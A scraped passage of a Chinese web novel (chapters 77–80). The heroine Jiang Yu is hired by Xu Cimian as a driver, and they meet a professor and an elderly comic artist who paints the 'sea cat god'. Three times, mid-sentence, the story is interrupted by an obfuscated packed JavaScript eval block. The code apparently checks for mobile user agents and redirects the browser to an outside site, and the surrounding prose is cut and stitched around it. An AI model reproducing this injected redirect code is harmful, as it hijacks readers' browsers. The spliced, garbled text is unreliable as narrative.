“英雄所见略同，我确实一直在寻找拥有桥的人。”辛司□□身向前，认真说：“有一个地方，我总去，虽然从没有发现同类的踪迹，但是我觉得最有可能出现同类的地方。如果你有兴趣的话，下次可以和我一起去。” “是哪？” “地下拍卖会。” 77. 跟班 辛司政看着姜渔有些困惑的眼神，耐心解释说：“黑市的升级版。能参加的基本都是一些墙外级的高手，和社会上的各种权贵。拍卖物品也是很难在市面上流通的东西，至于什么衍生体相关的东西，都是开胃菜，甚至还是打包出售的那种。” 姜渔都听心动了：“有桥的人，会想方设法把联邦币兑换成自己需要的缴纳物。确实是个好去处。什么时候开始？” “留下电话吧，我会提前通知你。” 辛司政主动交换了一下联系方式，问：“接下来你有什么打算？” 姜渔思考了一下，手头上最紧要的事情，自然是收集晶核，目前已知的方式就是幻境沼泽与现实购买。现实购买，需要大量的钱。而赚钱的方式除了精卫任务之外，还有温不朽的一项委托。 这是其一，关乎于怎么维持住1301室让两人活下来。 其二是，镜花岛的幕后主使，究竟要做什么，需要提前查探清楚，以防后患。这关乎于她在现实中的安全。 最后一点，才是寻找有桥之人，招募伙伴，并探寻像这次与辛司政共同进入幻境沼泽的办法。 如今，第一个月房贷已经存够，再加上生理期将近，姜渔可以短暂休息一下。 她想了想，说：“镜花岛的事情，你收集到什么线索，都一起分享给我，我了解一下，咱们两个好做一做准备。” “好。” “另外，我还接了个指派订单，这几天会看看能不能有什么进展，以便参加拍卖会时，手上有钱。” “指派订单？是什么，我能帮上忙吗？” “有一个人在恶意售卖一种辐射物项链，可能会使佩带者陷入幻境沼泽。” 姜渔说着，想到温不朽的经历，说：“你听说过百年融合的实验吗？” 辛司政摇头：“没。” “据说有一个人做了这种实验，在醒来后说她看到了一座桥，那座桥连接着现实与幻境沼泽。” “哦，这我可能知道。”辛司政眉毛挑了挑，说：“前段时间，我在墙外打猎，进入到桥时，看到有个小姑娘的幽魂在桥上行走，她也与别的幽魂不太一样，她的魂魄里，飘着一颗晶核。” 小姑娘。 姜渔眼神一定，追问：“然后呢？” “我就像最初那样，在她身边喊来喊去的，直到她快要彻底下桥时，我看到她的晶核和整个人融为一体了，白色的魂魄也隐约有了实体。我还想说话，她回头看了我一眼，就从我的桥上消失了。” 辛司政说得很无奈，叹道：“信息太少了，不知道桥到底是怎么运作的。你觉得和你说的实验有关系么？” 姜渔沉声说：“很有可能——那你有没有看到一个男生的魂魄，状况可能类似。” 辛司政的话，让她想起桐枯的遭遇，内心燃起一点小小的希望。 辛司政更无奈了：“没有。我又不是看桥的大爷，哪会天天守着那座破桥。更别说我一个人跟那群幽魂也说不上话。” 姜渔默然，看到辛司政起身要告别时，又忽然想起来什么：“对了，猎人论坛墙外之人板块的邀请码，你有吗？” “没。你要的话，我这几天帮你搞到。”辛司政话语轻松，“没什么事今天就到这里？手机联系？” “嗯，你这几天有什么事要做？” “接点单子，赚钱。对了，如果你要接单子的话，报我的名字，我们一起寄送，五五分成。这样很少有人会跟你抢，毕竟我也是精卫老人了。”辛司政走到姜渔身边，弯起嘴角，“比你什么指派订单要赚的多。” 温不朽的单子，是两百万。公司抽两成，结算是一百六十万。 至于平常订单，与公司五五分成，再与辛司政五五分成，到手只剩下四分之一。 姜渔默默算了笔账，真心问：“有八百万左右的单子吗？” 辛司政顿时沉默，很久后，才说：“没有。不过，我没算错的话，你的指派订单是两百万左右？” 姜渔索然无味：“你没算错，只是算得慢。看来你数学不太好。” 辛司政呆在原地，一脸不可置信：“哪位老板啊？这么大方？跟我说说，我绝对保密，主要是担心你刚入行上当受骗。” 姜渔倒没什么可隐瞒的，以辛司政的本事查到当天进出的人员也不难，便说：“温不朽。” “哦……影帝啊。”辛司政语气忽然变得酸溜溜的，“你还认识他啊，还是指派订单呢。” 他本来刚刚说两人可以一起接单时，还有些扬扬得意的意思，心想我一精卫老员工带你做任务真是太有权威了。结果听到姜渔有这么个土豪老板指派，顿时有些不是滋味了。 “一些浅浅的缘分。”姜渔说，“我把他从幻境沼泽里救了出来。” “那个在论坛发帖高额悬赏海猫神的傻子就是他咯？我还瞎编了一些信息去骗赏金来着。” 辛司政瞬间了然，“说起来，海猫神到底是怎么回事？” “我们救人出来后，他们会忘记我们的存在，但会把我记成海猫神。这个身份是我虚构的，不知道倪中墨会把你记成什么。”姜渔语气一变，严肃说：“这件事要保密。” “明白。” 辛司政正要走，忽然站停，语气蛮不在乎地悠悠问：“幻境里，他表现怎么样？” 姜渔想了想温不朽幻境中的表现，说：“过于天真。” 辛司政来了底气，很期待地问：“那我呢？” “奸懒馋滑，欠钱不还。” “这不是现实吗？而且我现实里也没有你说的这么猥琐吧。”辛司政很是不满，“我说的是幻境。” “幻境？滑稽。” 姜渔下意识想到辛司政怒斥猎狗“小畜生”然后被一枪打闭嘴的场面。 她还想补充两句，发现辛司政已经气冲冲地走掉了。 果然男人至死是少年，多大的人了还是小心眼。队伍不好带呀。 姜渔叹了口气，也起身返回宿舍。 …… 曙光之城辐射物收容所，教授办公室内。 曾为姜渔与温不朽上过课的年迈女教师路迎春，坐在椅子上，后怕地看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14817787|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向对面一头长长银发的女人。 “总而言之，你能醒过来真是太好了，不然我真是没办法原谅自己。”路迎春重重叹了口气，“早知道我是肯定不会冒险答应你来参观的。墨墨，我们已经老了，你就不要再这么拼了。” “别自责了，是我不好，总求着你你才答应的。”倪中墨沟壑纵横的脸上，挂起虚弱的微笑，轻声说：“而且，我有收获不是么？海猫神，我真的见到了。” “海猫神……这世上真的有神存在么？”路迎春目光变得无比复杂，“最近关于幻境沼泽的信息太多了，曾经的很多研究方向可能都要作废了，真不知道什么时候才能有突破性的进展。” “或许快了。”倪中墨看到老友很容易就陷入到科研思维中，笑意更盛，她很想绕过自己添麻烦这件事，恨不得路迎春越专注在科研上越好，于是调笑说：“你也可以效仿你家的那位长辈，做休眠手术，等百年之后醒来，肯定会看到突破性进展的。” “别提了，我那长辈是当年那批休眠手术中唯一活下来的样本，我可不敢尝试。”路迎春撇撇嘴，说：“而且，如果科学家都和我一样，休眠了，那科研进展也会停滞不前。一代人有一代人的使命。” 倪中墨顺着她说：“知道啦，你最伟大啦，拯救人类，拯救蓝星，你就是我画都画不出来的传奇女英雄！” “可不敢，只有石莺女士才担得起拯救人类蓝星的名号。”路迎春瞪了她一眼，说：“别再转移话题了，我又不会批评你。说起来，除了那个海猫神，你真没有发现别的什么奇怪之处么？” 倪中墨眼睛转了转，她年岁已长，但因为常年沉浸在自己的漫画世界中，眼神还维持着少女般的灵动，一番思考后，倪中墨缓缓摇头，说：“没有了，只记得海猫神救了我。九尾，异瞳，和你说的那名夜莺机动队队员描述得一样，真的生活在海里，在海啸中来去自如。” 路迎春陷入沉思。 “哦！还有。”倪中墨忽然一拍手，说：“好像还有跟班，总围着海猫神转，但没有我印象中海猫神那么神圣，模样很普通，像是一只海狗。” “这个我倒是没听过类似的信息。”路迎春揉了揉太阳穴，不确定地说：“海里动物那么多，海狗又真实存在。可能就只是一只海狗而已吧。” …… 一周时间很快过去。 如姜渔所料，生理期确实如约而至，幸好本月房贷已经攒够，使得这一周能在平淡中度过。 七天来，她在精卫与1301室之间穿梭，规律得像一个机器人。除了彻底熟悉身体素质的骤然提升外，还从温不朽那里获得了更多的售卖项链之人的信息，甚至还有一些闲暇时间，能接过纪小麦的手机帮忙下几次副本。 这一天，晴空万里，姜渔照例起床洗漱，刷牙时看到林晴正巧发来消息。 “醒了吗姜渔？大厅又有人来找你指派订单了。” 好贵的一条消息。 姜渔看着一百六十万近在眼前，连忙加速刷牙漱口，回复：“醒了，是谁？” “许辞眠。” 78. 秘密会面 上一次在隔离中心，幸亏有顾礼解围，姜渔才逃开了许辞眠的追问，不用去解释自己怎么知道他的学号等种种问题。但许氏集团势力庞大，想打听到她的下落，自然绝非难事。姜渔的兴奋劲在看到那三个字后渐渐冷却了，只觉得头疼。 该来的总会来，拒接也不是办法。更何况干嘛要跟钱过不去？这帮顶流明星财团子弟个个挥金如土，都是质量优质的还贷助手。姜渔在心中排列了几套说辞，以便应对来自许辞眠的必然发问，确认没有什么漏洞后，才回复林晴说：“我现在过去。” 姜渔走进装潢浮夸的精卫接待大厅，一眼看到沙发上坐着一名男人，双手交叉搭在膝盖上，背挺得笔直，姿态端正优雅。大热的天，却身穿整套浅灰色毛呢西服，亚麻衬衫扣子系到最上面一颗。跟上次来的风衣版温不朽一样，不怕热。许辞眠，他的脸色依旧是病态的惨白，也更瘦了，再剪裁合身的西服此时也像挂在一根衣架上。这点倒是跟温不朽不一样。温不朽拉风，他只会被风吹跑。 许辞眠正眉眼低垂地注视着双手。他感受到一道视线落在身上，抬起头，看向姜渔，起身微笑：“你来了。” 姜渔走近，直奔主题：“什么事？” “送人。” 送人。亏他说得出这么拙劣的借口。无非是送他罢了，然后绕着整个曙光之城开始兜圈子，路上肯定也少不了一番“逼供”，说不定还要签什么协议，直到把她知道的事情吃干抹净。 但陪大总裁聊一段路，就到手160万。姜渔几乎不用权衡利弊，说：“什么人，送到哪？什么时间？” “送我。至于地点，我到车里告诉你。”许辞眠声音不大，带着一丝丝虚弱感，像飘在风里一样：“就今天，不会耽误太久。” 果然如此，姜渔心里冷笑。 虽然两人心知肚明今天只会是一场谈话，但姜渔也不愿露出一副可以任由他用钱摆布的样子。 她表情严肃，有意让许辞眠难堪，很负责地说：“路上危险么？毕竟是200万的单子，肯定不是小事。我需要准备一些装备，你也要。既然是今天，那时间很紧，你就听我安排吧。我们精卫提供装备，要另付钱。” 林晴在旁边听得晕头转向的，心想精卫不是这么做生意的啊姜渔，装备是可以免费为老板们装备的。 许辞眠却没给林晴开口解释的机会，说：“没事，我帮你准备了武器，在车里。没问题的话，走吧。” 因为少了一笔敲诈的机会，姜渔胸口一闷，不再纠缠，说：“走。” 精卫大门前，停着一辆气质沉稳的豪华轿车，包括轮毂在内，通体哑黑颜色。大晴天的阳光照下来，仿佛都被这辆车吸收了，黑得极为彻底。自然，隐私性也极好。 “请上车吧。” 许辞眠上前一步，打开后车门，绅士地一抬手。 姜渔落后一个身位，说着“多谢”大大方方坐上高档牛皮座椅。她一眼发现车内空无一人，怪不得没有司机出来开门。 姜渔心里有了底，看来许辞眠甚至没想完成“送人”的动作，只想在车里就问清楚。 “不客气。”许辞眠也坐了进来，微笑看向姜渔：“为女士开门，是一名绅士的基本素养。” “你做得不错，有兴趣的话，可以来精卫任职管家，我会帮你内推。”姜渔表示认可，说：“说吧，到底是什么意思？” “我说了啊。”许辞眠叹了口气，说：“送我。” 姜渔看着许辞眠的表情不像作假，内心中对他的动机有了丝动摇，说：“真是送人？” “是，也不是。”许辞眠靠在座椅上，闭目养神，悠悠说：“作为许氏集团的继承人，我来接触你，需要一个原因。” 原因？还需要原因？难道是担心外界传出你和我有恋情的绯闻不成？这么高贵啊许公子，还是你们的许爸爸把自己的宝贝儿子管得这么严？ 姜渔愈发不解：“……至于么？” “当然。你想你是什么人物？欠下曙光银行560亿联邦币的传奇债务人，被市警队抓捕后又全身而退，以一己之力将自己的大头照挂满许氏集团旗下所有银行的办公室，行踪诡秘，睚眦必报，性格狡猾，手段残忍，绰号‘贷渔’，如今又受精卫庇护，寻常职员、律师甚至□□都不敢招惹。” 姜渔听得一愣一愣的：“我去，什么跟什么啊？560亿的事情不是你们银行无耻吗？我当时人在云市怎么还贷？” “银行只是依照规章制度算账。” “去一边去，什么狗屁规章制度。而且我被市警队抓捕后，是堂堂正正被人保出来的，怎么说得我从市警队杀出来了一样？” “我知道，只是这样说更有危险性。” “不是，为什么要有危险性呢？我明明是受害者啊。” 姜渔坐不住了，整个人转向闭目养神的许辞眠，形势反转，她已经成了逼问的那个人：“而且怎么就性格狡猾手段残忍了？贷渔，什么玩意啊？怎么不叫三文鱼呢？哪个钓鱼佬起的？” “我让下属这么叫出来的。”许辞眠睁开眼，目中萦绕浅浅笑意，“不喜欢么？” “你？” 姜渔愣住了。 她正在后悔没从精卫带出把枪来，一枪崩了这个要死不活的男人，让他安详辞世。这样她肯定很喜欢。 “嗯，我。”许辞眠温声说，“560亿，只是一个噱头，是曙光银行在向外界塑造自己严格按照规章制度办事的形象，并不是一定要你还贷。” 姜渔听着安心不少：“原来如此，那你说的那些也都是做做样子了？” “不是。”许辞眠摇摇头，“后来，我散出信息，称你实力很强，且背景深厚，其实有偿还区区560亿的能力。所以大家才更加重视这件事。” 姜渔笑容僵在脸上，缓了会，维持着僵笑说：“你这样全盘托出，肯定有什么别的要对我说的话，是比你区区一条小命更重要的吧？” “当然，但请你先放松。”许辞眠听到姜渔的威胁并不慌张，又长呼一口气，说：“这就是我需要的那个‘原因’。路上我会跟你详细解释，现在，你可以去开车了。” 车内沉默良久。 身为“睚眦必报”的“贷渔”，被许辞眠在暗中摆了一道，姜渔现在很不爽，尤其是听到许辞眠的吩咐。 她的心里，自己的不爽正在和许辞眠的160万打架，此时咬牙发问：“下车不应该也是绅士帮女士开门么？” “注意你的身份。让顾客舒舒服服地乘车，是一名司机的基本素养。” “……好。” 最终，160万还是战胜了那股不爽。姜渔平静下来，打开车门，下车，又为许辞眠关门。 咣当一声。许辞眠随着整辆车晃了晃。 姜渔开门坐入驾驶位，关门，又是咣当一声。 许辞眠早有准备，一只手已经抓紧扶手。 “你的素养不多，力气不少。司机。” 许辞眠感受着车子的余震，说：“这辆车价值1.2亿，搭载零震动动态平衡系统。如果你没用全力的话，应该有A级战力吧。” “C级，顾客。系好你的安全带，说你的正事。” 姜渔启动车辆，飞驰而去，穿梭在林荫之下。 “刚才的原因，我已经介绍完了。”许辞眠说着，他看出姜渔把这辆商务轿车开得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“你开着车，绕过所有暗中保护或者监护我的许氏集团员工，去了一个没有人知道的地方。我被蒙着眼，无法动弹。晚上时，我听到你吃饭的声音，于是冒险驱使黑蛇去偷袭你，你没有发现，被黑蛇束缚住。当你挣脱时，但我已经跑了。” “我说完了。”许辞眠眼中又有了温和的笑意，“你大可放心。这件事会以我不做追究结束，关于你的消息，只会留在许氏集团几个人的记忆中。” 姜渔在脑海中重新过了一遍许辞眠脑海中的说辞，有了苗头。 她说：“你想消失一个下午？” 许辞眠大方承认：“没错。” 姜渔想了想，又问：“为什么是我？” 许辞眠淡淡说：“之前安排这种事的，是我的管家。在隔离中心时，你见过他。” 姜渔说：“嗯，死了。” 许辞眠说：“我找了很多司机，没有再像他那样得力的。于是，我想到你。” “我也没有很得力吧。”姜渔不信，看向后视镜中的许辞眠，“到现在为止，这些事情不都是你自己安排的吗？” “因为你有所有人都比不上的优势。”许辞眠看着姜渔的眼镜，低声幽幽说：“你知道我的很多秘密。” 来了。 姜渔心里一动，却不顺着许辞眠话说下去，而是问：“所以再知道一个也无所谓？” 许辞眠这次没有回话。 可能是因为没有按照他理想的对话进度进行吧，难道要让我一下子噼里叭啦地说出来为什么知道你那么多秘密吗？姜渔心中撇嘴，更不准备让许辞眠顺心如意了。她决心如果许辞眠不主动问她的事情，那么她就顺着许辞眠的话茬刨根问底：“又是什么秘密？需要让你瞒着许氏集团？” 而且是花费六百万就买一个下午？ 意料之外的，许辞眠并不避讳，平静开口： “我要去见一个人。” 79. 演戏 姜渔微不可察地挑了下眉。 “什么人？”她问。 “图瓦迪斯的人。”许辞眠抓着扶手，看向姜渔，嘴角挂起一点点得意的弧度。 “哦。”姜渔颇感无趣地回应。 车内一时沉默良久，许辞眠身子前倾，不可置信地确认：“就只是这样？哦？” 他的音量都拔高许多，却依旧透着一丝中气不足的虚弱。 “……那要我怎样？”姜渔听到质问也很不耐烦，“又是什么总裁吗？还是哪个国家？我哪有时间去接待外邦友人？” “你竟然不知道。” 许辞眠听到姜渔的反驳，有些发愣。他重新靠回座椅，双后交叉，拇指相互摩挲，打量着姜渔的侧脸，缓缓说：“所以，你是怎么知道我的学号的？能在当年坐到观察室里的人，不可能连这种信息都不知道。” 姜渔一机灵。她听到话题因为自己的答复又绕了回来，心里叫苦不迭。明明已经想过一系列应付许辞眠的说辞，却没想到在这种小细节上露了怯。而且看许辞眠的反应，这也不是他在故意挖坑试探，而是真的认为自己应该知道。 姜渔不自觉地握紧方向盘，但口吻仍然维持着一丝丝不耐：“我只需要知道我应该知道的信息。说你的正事。” 姜渔知道，自己在许辞眠心中的地位与他人不同，就是因为知道对方许多秘密。对方斥资200万点名找上自己，也是如此。姜渔出门之前，准备的几套说辞，都可以尽量维持住自己在许辞眠心中的一点神秘形象，以备日后有不时之需，要动用许辞眠这一枚许氏集团继承人的棋子。 不能再露怯了。她想。 车后座，许辞眠听到姜渔不耐烦的口吻，眼底深处闪过几缕疑惑，又很快消散不见，他无所谓地说：“明白。不过，既然你不知道，我还是要跟你讲清楚。如今蓝星上的势力，联邦一手遮天，联邦之下，便是五大财团。再向下，各大主城势力纷杂，各有神通，不必多说。这些是联邦公民都了解的东西。” 姜渔没接话，等许辞眠继续说。 “但在这些势力之外，还存在一个势力，图瓦迪斯。一个从荒纪元之初流传下来的家族。他们成员不多，但分布极广，且隐在暗处。无论是联邦内部，还是五大财团，甚至各种小微企业，街头墙外流民。图瓦迪斯的人几乎无处不在。” 不愧是五大财团之一的许氏继承人，轻描淡写地就分享出一个大秘密。姜渔不动声色地说：“那你是怎么找到他们的？” “这个你不需要知道。你需要知道的是，我费尽周折演这一出戏，就是因为连我父亲都一直联系不上图瓦迪斯的人。” “那你不是更应该让许明生知道么？”姜渔不解，“这不算立功吗？” 话刚出口，姜渔反应过来：“明白了。你是为了自己。” 即如旧纪元中，古代皇朝的皇子夺嫡。每个皇子基本都会私自经营势力，向老皇帝隐藏自己的手段。 “我摸不清父亲的心思，也不想把未来掌管许氏的人选决定权交给他。”许辞眠坦然承认，“我的管家去世后，我思考很久，才找上你。这一次之后，也希望你都能留在我身边。” 姜渔一个不注意差点撞上前车，忙打方向盘，说：“我在精卫待着挺好的，许总。” “我能给你的条件，自然比精卫更好。年薪1亿，除此之外，从现在到未来，我名下的产业，都给你两成分润。至于曙光银行的债务，我帮你处理，560亿一笔勾销。”许辞眠一字一句都含着沉甸甸的钞票，“分润，是许氏子弟给愿意辅佐自己的教官的标准条件。我给你的年薪，虽然不多，但肯定会涨。我可以不管你是怎么知道我的学号的，不管你当年在观察室里扮演什么样的角色，不管你在姜渔这个名字之前又叫什么。只要留在我身边，我会带你拿到整个许氏集团。” 姜渔感觉自己要被钞票淹没了，年薪一亿，另外分润，关键还能涨，她以为自己听错了，半天才沉下心来。她清楚这一切都是“学号”引发的，只是不知道“009”三个数字竟然有这么高的含金量。不过，欲戴其冠必承其重，这里面一定藏着更多她不知道的底细。姜渔不敢擅自入局，便不答反问，以进为退：“看来你的情况并不好。” “上一次，在隔离中心，你说得不错。隔离舱被人做了手脚，那是一次针对我的意外。换句话说，你当时救了我的命。”许辞眠淡淡说，“我情况确实不是很好，但也并非病急乱投医。你我心里都清楚。” 姜渔心说我肯定是一点不清楚的。但她也冷静下来，按许辞眠的话，留在他身边“辅佐”，人身自由势必受限，而且免不了整天面对各种意外事件。她有房贷傍身，已经处处受限，客观上已经没有余力再接下这种工作。 更何况，她最需要的衍生体晶核，常年处于有价无市的状态。再多的钱，也撑不了多久，市场上的晶核一旦售空，她还是要出城猎杀衍生体或者进入幻境沼泽。 “免了。我说了，我在精卫很好。”姜渔内心叹着气说。 这种以往想都不敢想的待遇是1301室带给她的，但拒绝这种待遇，也是因为1301室的存在。 “……你可以继续考虑。”许辞眠沉默后说道。 “快到了。”姜渔看着车上的导航，转移话题，“在这里见图瓦迪斯的人？” “不。这一天才刚刚开始。”因为收到拒绝，许辞眠语气又轻了许多，“为了让你接受还贷的方案，我首先需要表现出我的善意。你与我是在隔离中心相识的，共同遭遇过意外，有这一层关系在，我便带你来到这里，做精神健康辅导。” “合理的剧本，然后呢？”姜渔专心开车。 “然后，你需要在教授面前，表现出听不懂、不耐烦、不自在、心事重重的样子。这样一来，如果有人来这里调查教授，便知道你那个时候已经出现绑架我的意图。” “明白了，演戏。”姜渔驾车驶入一个铁艺大门，她看着柏油路尽头的石灰色长方体建筑，撇撇嘴，说：“但你挑的地方有漏洞啊。” “什么漏洞？” “这个地方显然对精神不太健康吧。” 视线尽头，三栋长方体六层灰楼，围成一个三角形，正对着道路尽头的一角，横挂几个大字：曙光之城辐射物收容所。 “没有漏洞。在这里任职的是一名极其权威的教授，这是我的诚意。而你又有可能因为受到辐射物的轻微影响，心生歹念，将我绑架。”许辞眠微笑说，“再合理不过了。” 姜渔驾车缓缓停在露天停车场，跟在许辞眠身后，看他掏出证件，一路进入大楼，畅通无阻。 大楼内，空气干燥，灯光明亮，安静祥和。走廊大多数是白蓝两色相交，也有两侧全部刷成明黄色、浅绿色的走廊，应该是做区分功能区的作用。总体来说，大楼内全部采用能令人心情愉悦的颜色。显然是为了尽力避免工作人员被辐射物影响。 许辞眠轻车熟路，既没问路也没看什么指示牌，看上去已经来过很多次。他带着姜渔来到一间办公室前，重新跟姜渔低声确认一遍：“进去后，随着对话深入，你要表现出……” “听不懂，不耐烦，不自在。总在琢磨着对你干点什么的样子。”姜渔记得清楚，“虽然有点没礼貌，但我也确实对学术界的那些术语不太感冒。放心。” “不错。”许辞眠收声，抬手开始敲门，说：“路教授，我是小许。” 门内传来一声回应：“进来吧。” 姜渔忽然觉得那个声音有些熟悉。 许辞眠打开门，迈入一间洒满阳光的办公室。办公室整洁干净，入口处，两个沙发围着茶几，这是会客区。窗户边则是白色办公桌，上面整齐摆满书籍，旁边摆着两把椅子。而一面墙上还关着两扇门，这是一间套房。 许辞眠向从办公椅上站起的老人彬彬有礼地介绍：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“听不懂”大概是不太可能了，“不耐烦”也有些难演，“不自在”更是过于离谱。许辞眠眉头一皱，又趁着路迎春说话时递给姜渔一个果决的眼神，在说：就当被这里的辐射物影响，导致性格大变算了，就这么演！ 姜渔一边微笑听着路迎春的话，一边抽空回给许辞眠一道凌厉的目光，在说：滚一边去。 “……我的研究方向已经初步定下来了，正想着怎么找你呢。姜渔同学，虽然我已经问过了，但还是想再问一次，你有兴趣加入我的团队吗？” 姜渔笑着摇头，“路教授，我说得很清楚，我真没有任何学术经验。其实你说的有些术语、研究方向这些，我都是听不太懂的。” 一旁，许辞眠听到关键词，暗中竖起拇指，眼神表示认可。 “唉……”路迎春又宝贝又可惜地看着姜渔，说，“我知道，我看得出来。只是可惜了，现在科学研究迎方向来了新的时代，很多前所未有的信息正在浮出水面……” “是吗？” 姜渔精神一振，这个时候，只要把话题从幻境沼泽引开，让路教授开始讲一些自己真的不知道的领域，所谓的不耐烦，也可以自然而然地流露出来。 “当然呀。”路迎春就像在诱导一个小孩加入团队一样，语气温柔又有耐心，看向二人，说：“海猫神，两位听过吗？” 许辞眠缓缓摇头。 姜渔心情复杂，说：“在猎人论坛上见过，但没当回事。” “别不当回事，如果那个用户不发上猎人论坛的话，这是相当机密的信息。但是很快，这个信息就要公布于众了。”路迎春说，“我有一个朋友，不久前也陷入了幻境沼泽。” “啊。”许辞眠不自觉将背挺得更直，“请节哀，教授。” “不，你误会了，她从幻境沼泽中醒过来了。” 路迎春看着睁大双眼呆住的许辞眠，笑着说，“年纪大了，不便折腾，我就请人给这间办公室加急做了军队级的防辐射措施，还搬走了上下两层楼的辐射物。” 姜渔目光闪了闪：“您的意思是？” “她就在卧室休息。”路迎春说。 80. 人无再少年 许辞眠还没回神，又被路迎春的话震惊到了：“就在这里？没有送去医院吗？” “嗯。”路迎春说，“她身份特殊，不想闹出什么新闻。而且我在这里为她做了简单体检，除了有些营养不良之外，没有大碍。” 许辞眠目光闪烁，他听到身份特殊，心底生出了结交的意愿，诚恳说：“方便见面吗？路教授。您知道，我负责许氏科技产品的生产与分销，其中就包括主体值的改善与思觉塌陷的□□等精神方面，像隔离中心的隔离舱就是由我们生产的。或许我可以为这位长辈提供什么帮助。” 路迎春思索一阵，说：“应该没问题，我去问问她。” 说着，路迎春起身走到一扇白色门前敲了敲，说：“墨墨，我这边在接待两个年轻人，你想见一见吗？其中有一个，是许氏集团分公司的总裁，没准可以利用他们的医疗设备帮你更好地恢复身体。” 墨墨。姜渔听到这个称呼，呼吸一顿，仿佛又看见那个无助地站在母亲尸体旁边的女中学生了。她情不自禁地起站起来，看向那扇门后。 门后传来一声：“当然。” 路迎春推开门，露出与客厅一样朝南的卧室。简朴的一米五木板床上，被褥整齐，一个穿着麻黄色唐装的苍老女人正站在床尾的画板前。她将银发盘起，转过身时，沟壑纵横的脸上染着许多油彩，她露出虚弱的微笑，散发出一种平易近人的气质。 许辞眠再次迷糊了，难以相信地说：“倪老师？” 倪中墨也有些惊讶，她打量着高高瘦瘦的许辞眠，说：“真是难得。现在的年轻人应该很难认识我才对。” “我小时候有一个朋友很喜欢您的漫画，她给我看过您的照片。”许辞眠礼貌说，同时面向姜渔介绍说：“这位是著名漫画家，九十九页老师。” 姜渔看着弱不禁风的倪中墨，心中百感交集。那个眉宇间带着倔强与英气的女中学生，在此时与有些佝偻的老人身形渐渐融合在一起，她的目光历经岁月的洗刷，仍带着一股希望的蓬勃之气。 姜渔按下复杂的情绪，彬彬有礼说：“倪老师，您好。” 倪中墨微笑着点头示意，欣赏地说：“没想到许氏的总裁这么年轻。” 房间中一时沉默，许辞眠讪笑着主动开口：“倪老师，我才是那位总裁，而且也只是负责一些分公司的事情，所以年级不大，让您见笑了。” “哦，不好意思。”倪中墨一怔，带着歉意说，“你们进门的时候，我总觉得这位姑娘身上有一种很特别的气质，再加上你主动为她介绍，我还以为你是这位姑娘的秘书呢。” “不是的。我们是朋友，之前在隔离区我们……”许辞眠继续解释。 “行了，小许。这不重要，倪老师对这些不感兴趣。”姜渔轻飘飘地开口。 叫谁小许呢。许辞眠被打断后不满地瞥了一眼姜渔，心说怎么给你杆就顺着爬啊。 姜渔回了一个眼神再说：不要乱阵脚，我是在表演对你的不满。 好吧。许辞眠忍气吞声不再在这件事上纠缠，他切入正题，说：“倪老师，路教授说您是从幻境沼泽中醒过来的，我没有冒犯的意思，这肯定是一件好事，但这实在太令人惊讶了。” 许辞眠顿了顿，说：“能跟我们分享一下您的经历吗？我负责许氏的器械研究生产，您的经验对我们在幻境沼泽相关器械方面的研究至关重要。” 他不卑不亢地补充：“当然，这涉及到商业利益，我会为您的信息提供报酬。” “不用。”倪中墨温和笑说，“我的信息不会有什么参考价值，而且我和路姐都认为，这信息目前对科学研究的帮助也不会太大。” “为什么？”许辞眠一头雾水。 “因为，这个信息将幻境沼泽的研究方向，引到了神学。”路迎春不无感慨地说，“墨墨说，是一个自称海猫神的神明将她救出来的。” “海猫神？” 许辞眠再次听到这个称呼，不由自主地看向倪中墨身后的画板，画板上铺满浅蓝色的颜料，波纹荡漾，象征背景是一片宁静大海。主体则是一只异瞳的九尾猫，目光神圣又怜悯。 “就是您画的这只……这位吗？”许辞眠迟疑地说。 “嗯。我准备将它当作我人生的最后一部作品。”倪中墨也看向画板，叹了口气，说：“只是我印象模糊，无法将海猫神的全貌精准还原，总也无法定稿。” 姜渔看着那一幅画，心里只有一个念头，那就是别改了，海猫神就应该是这样才对。 因为以往按照纪小麦的描述定做的玩偶，以及姜渔自己按照描述画在蛋糕上的图案，都太丑太抽象了。 她们就像一对画画很烂的姐妹，总也无法画出理想中的画。直到有一天，她们的想法被一位顶级画师给画了出来。眼下，身为一名白嫖的甲方，姜渔没有任何理由指指点点。 于是姜渔诚恳说：“您画得很好，如果真有海猫神，应该就是这个样子。” “是吗？”倪中墨听了很欣喜，“那真是太好了。毕竟我搁笔太久，可能不太了解现在的年轻人喜欢看什么。” 许辞眠没办法忽然转变思绪，让自己立刻投身神学的领域。事实上，他有种恍惚的荒诞感，著名漫画师和顶级科学家，在这里对着一个丑猫夸夸其谈，甚至将丑猫引为幻境沼泽中救死扶伤的神明？这都是什么跟什么东西？ 他整理着思绪，面上赞叹说：“您的画工自然是无可挑剔的顶级水平。至于年轻人的审美，晚辈或许可以提供一点想法。” “别那么客气，我最近这些天也在网上看年轻人的漫画社区，我很希望听到年轻人的声音。”倪中墨用眼神鼓励许辞眠说下去。 许辞眠点点头，煞有其事地分析说：“目前，文娱市场仍然钟爱塑造英雄形象的作品，尤其是在关于衍生体、支配者、幻境沼泽这些对人类具备压迫性质的元素上，读者观众喜欢看到更有力量感的角色被创作出来。这种期望要更盛于几十年前，以至于最近出现的文学角色形象都较为偏激。” 